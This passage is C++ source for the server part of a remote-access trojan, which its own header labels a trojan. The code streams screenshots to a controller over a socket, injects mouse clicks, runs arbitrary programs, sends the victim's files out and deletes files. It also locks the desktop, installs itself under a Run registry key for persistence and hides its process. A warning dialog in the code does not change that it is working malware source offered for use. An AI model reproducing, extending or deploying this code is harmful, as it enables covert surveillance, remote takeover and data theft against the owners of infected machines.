zserver.cpp

vc源代码 一个木马的客户端和服务端 要小心啊

	StretchBlt(hbufferdc, 0, 0, ScreenInfo.ScrX, ScreenInfo.ScrY,
			hdcmy, 0, 0,ScreenInfo.ScrX,ScreenInfo.ScrY, SRCCOPY);

	//得到最终的屏幕颜色
	hBit = (HBITMAP)SelectObject(hbufferdc, hOldBitmap);
	
	//释放内存
	DeleteObject(hOldBitmap);
	ReleaseDC(NULL,hdcmy);
	ReleaseDC(NULL,hbufferdc);

	HANDLE hDib;

	hDib = DDB2DIB(hBit);
	DeleteObject(hBit);



	LPBYTE plmagePoint;

	ScreenInfo.dwSize  = GlobalSize(hDib);
	int StopFlag;
	send(sktClient,(char*)&ScreenInfo,sizeof(ScreenInfo)+1,0);

	recv(sktClient,(char*)&StopFlag,sizeof(int)+1,0);

	//Send Bit
	plmagePoint = (LPBYTE)hDib;

	for(WORD i=0;i<(ScreenInfo.dwSize /SENDBLOCK) ;i++)
	{
		send(sktClient,(char*)plmagePoint,sizeof(BYTE)*SENDBLOCK,0);

		plmagePoint = plmagePoint + SENDBLOCK;

		recv(sktClient,(char*)&StopFlag,sizeof(int)+1,0);

	}
	if (ScreenInfo.dwSize %SENDBLOCK)
	{
		send(sktClient,(char*)plmagePoint,sizeof(BYTE)*ScreenInfo.dwSize%SENDBLOCK,0);

	}
	GlobalFree(hDib);
	return;
}

HANDLE DDB2DIB( HBITMAP bitmap) 
{
	//Define Variable
	BITMAP				bm;
	BITMAPINFOHEADER	bi;
    LPBITMAPINFOHEADER 	lpbi;
	DWORD				dwLen;
	HANDLE				hDib;
	HANDLE				handle;
	HDC 				hdc;
	HPALETTE			hPal;

	hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE );

	// get bitmap information
	GetObject(bitmap,sizeof(bm),(LPSTR)&bm);

	// initialize the bitmapinfoheader
	bi.biSize			= sizeof(BITMAPINFOHEADER);
	bi.biWidth			= bm.bmWidth;
	bi.biHeight 		= bm.bmHeight;
	bi.biPlanes 		= 1;
	bi.biBitCount		= bm.bmPlanes * bm.bmBitsPixel;
	bi.biBitCount		= 4;
	bi.biCompression	= BI_RGB;
	bi.biSizeImage		= 0;
	bi.biXPelsPerMeter	= 0;
	bi.biYPelsPerMeter	= 0;
	bi.biClrUsed		= 0;
	bi.biClrImportant	= 0;

	// compute the size of the  infoheader and the color table
	int ncolors = (1 << bi.biBitCount); 
	if( ncolors> 256 ) 
		ncolors = 0;
	dwLen  = bi.biSize + ncolors * sizeof(RGBQUAD);

	// we need a device context to get the dib from
	hdc = GetDC(NULL);
	hPal = SelectPalette(hdc,hPal,FALSE);
	RealizePalette(hdc);

	// allocate enough memory to hold bitmapinfoheader and color table
	hDib = GlobalAlloc(GMEM_FIXED,dwLen);

	if (!hDib){
		SelectPalette(hdc,hPal,FALSE);
		ReleaseDC(NULL,hdc);
		return NULL;
	}

	lpbi = (LPBITMAPINFOHEADER)hDib;

	*lpbi = bi;

	// call getdibits with a NULL lpbits param, so the device driver 
	// will calculate the bisizeimage field 
	GetDIBits(hdc, bitmap, 0L, (DWORD)bi.biHeight,
			(LPBYTE)NULL, (LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS );

	bi = *lpbi;

	// if the driver did not fill in the bisizeimage field, then compute it
	// each scan line of the image is aligned on a dword (32bit) boundary
	if (bi.biSizeImage == 0)
	{
		bi.biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) & ~31) / 8) 
						* bi.biHeight;
	}

	// realloc the buffer so that it can hold all the bits
	dwLen += bi.biSizeImage;
	if (handle = GlobalReAlloc(hDib, dwLen, GMEM_MOVEABLE))
		hDib = handle;
	else
	{
		GlobalFree(hDib);

		// reselect the original palette
		SelectPalette(hdc,hPal,FALSE);
		ReleaseDC(NULL,hdc);
		return NULL;
	}

	// get the bitmap bits
	lpbi = (LPBITMAPINFOHEADER)hDib;

	// finally get the dib
	BOOL bgotbits = GetDIBits( hdc, bitmap,
				0L,								// start scan line
				(DWORD)bi.biHeight,				// # of scan lines
				(LPBYTE)lpbi 					// address for bitmap bits
				+ (bi.biSize + ncolors * sizeof(RGBQUAD)),
				(LPBITMAPINFO)lpbi,				// address of bitmapinfo
				(DWORD)DIB_RGB_COLORS);			// use rgb for color table

	if( !bgotbits )
	{
		GlobalFree(hDib);
		
		SelectPalette(hdc,hPal,FALSE);
		ReleaseDC(NULL,hdc);
		return NULL;
	}

	SelectPalette(hdc,hPal,FALSE);
	ReleaseDC(NULL,hdc);

	return hDib;
}


/////////////////////////////////////////////////////////////////////

void MouseEvent()
{
	struct _MyMouseEvent met;
	recv (sktClient,(char*)&met,sizeof(_MyMouseEvent),0);

	SetCursorPos(met.dx,met.dy);
	
	
	switch(met.dwFlags )
	{
	case MOUSEEVENTF_LEFTDOWN:
		mouse_event(MOUSEEVENTF_LEFTDOWN ,0,0,0,GetMessageExtraInfo());
		mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,GetMessageExtraInfo());
		if(met.DoubleClick  ==TRUE)
		{
			mouse_event(MOUSEEVENTF_LEFTDOWN ,0,0,0,GetMessageExtraInfo());
			mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,GetMessageExtraInfo());
		}
		break;
	case MOUSEEVENTF_RIGHTDOWN:
		mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,GetMessageExtraInfo());
		mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,GetMessageExtraInfo());
		if(met.DoubleClick  ==TRUE)
		{
			mouse_event(MOUSEEVENTF_RIGHTDOWN ,0,0,0,GetMessageExtraInfo());
			mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,GetMessageExtraInfo());
		}

		break;
	}

}

//////////////////////////////////////////////////////////////////////////////

void RunFile()
{
	ShellExecute(0,0,chrcommand[1],0,0,SW_SHOWNORMAL);
}

//////////////////////////////////////////////////////////////////////////////

void DownLoadFile()
{
	//打开文件
	FILE *pFile;
	if((pFile=fopen(chrcommand[1],"rb"))==NULL)
	{
		send(sktClient,"FailOpenFile\0",300,0);
		return;
	}

	//open file successful
	send(sktClient,"continue\0",300,0);
	_finddata_t pFileInfo;
	_findfirst(chrcommand[1],&pFileInfo);//get file attrib
	send(sktClient,(char *)&pFileInfo,sizeof(_finddata_t)+1,0);//send file attrib
	
	BYTE *pBuffer=new BYTE[SENDBLOCK];
	memset(pBuffer,0,SENDBLOCK);
	int StopFlag;
	recv(sktClient,(char*)&StopFlag,sizeof(int)+1,0);

	for(WORD i=0;i<(pFileInfo.size /SENDBLOCK);i++)
	{
		fread(pBuffer,SENDBLOCK,1,pFile);
		send(sktClient,(char*)pBuffer,SENDBLOCK,0);
		memset(pBuffer,0,SENDBLOCK);

		recv(sktClient,(char*)&StopFlag,sizeof(int)+1,0);

	}
	DWORD w=pFileInfo.size %SENDBLOCK;
	if(w)
	{
		fread(pBuffer,w,1,pFile);
		send(sktClient,(char*)pBuffer,w,0);
	}

	fclose(pFile);
}
////////////////////////////////////////////////////////
void LockMachine()
{
	SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, NULL,0);
	EnableWindow(GetDesktopWindow(),FALSE);

}
////////////////////////////////////////////////////////
void UnLock()
{
	SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, NULL,0);
	EnableWindow(GetDesktopWindow(),TRUE);


}
/////////////////////////////////////////////////////////
void Text2Screen()
{
	BitBlt(GetDC(0),
		(GetSystemMetrics(SM_CXSCREEN)/2)-200,
		GetSystemMetrics(SM_CYSCREEN)/2-100,
		300,
		100,
		0,0,0,BLACKNESS);
	TextOut(GetDC(0),
		(GetSystemMetrics(SM_CXSCREEN)/2)-170,
		GetSystemMetrics(SM_CYSCREEN)/2-60,
		chrcommand[1],
		strlen(chrcommand[1]));
}
/////////////////////////////////////////////////////////
void DelFile()
{
	SetFileAttributes(chrcommand[1],FILE_ATTRIBUTE_NORMAL);
	DeleteFile(chrcommand[1]);
}
/////////////////////////////////////////////////////////
void AddToSystem()
{
	HKEY  hKEY;
	char  CurrentPath[MAX_PATH];
	char  SysPath[MAX_PATH];
	long  ret;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type=REG_SZ;
	DWORD size=MAX_PATH;
	LPCTSTR Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run" ;

	//Get System Path
	GetSystemDirectory(SysPath,size);
	GetModuleFileName(NULL,CurrentPath,size);
	
	//Copy File
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath,"\\serveZ.exe");//copy to windir\system\serveZ.exe
	struct _finddata_t serveZ;
	
	if(_findfirst(FileNewName,&serveZ)!=-1)
		return;//已经安装！

	int ihow=MessageBox(0,"该程序只允许用于合法的用途！\n继续运行该程序将使这台机器处于被监控的状态！\n如果您不想这样，请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上，并随系统启动自动运行。\n按下“否”按钮，程序只运行一次，不会在您的系统内留下任何东西。","警告",MB_YESNOCANCEL|MB_ICONWARNING|MB_TOPMOST );
	if(ihow==IDCANCEL)
		exit(0);

	if(ihow==IDNO)
		return;//只运行一次

	//复制文件
	ret = CopyFile(FileCurrentName,FileNewName,TRUE);
	if (!ret)
	{
		return ;
	}

	//加入注册表
	ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &hKEY);
	if(ret!=ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY);
		return ;
	}


	//Set Key
	ret=RegSetValueEx(hKEY,"Zserve",NULL,type,(const unsigned char*)FileNewName,size);
	if(ret!=ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY);
		return ;
	}
	RegCloseKey(hKEY);
}
///////////////////////////////////////////////////////////////
void HideProcess()
{
	HINSTANCE hInst = LoadLibrary("KERNEL32.DLL"); 
	if(hInst) 
	{            
		typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD);          
		MYFUNC RegisterServiceProcessFun = NULL;     
		RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess");
		if(RegisterServiceProcessFun)     
		{             
			RegisterServiceProcessFun(GetCurrentProcessId(),1);     
		}     
		FreeLibrary(hInst); 
	}
}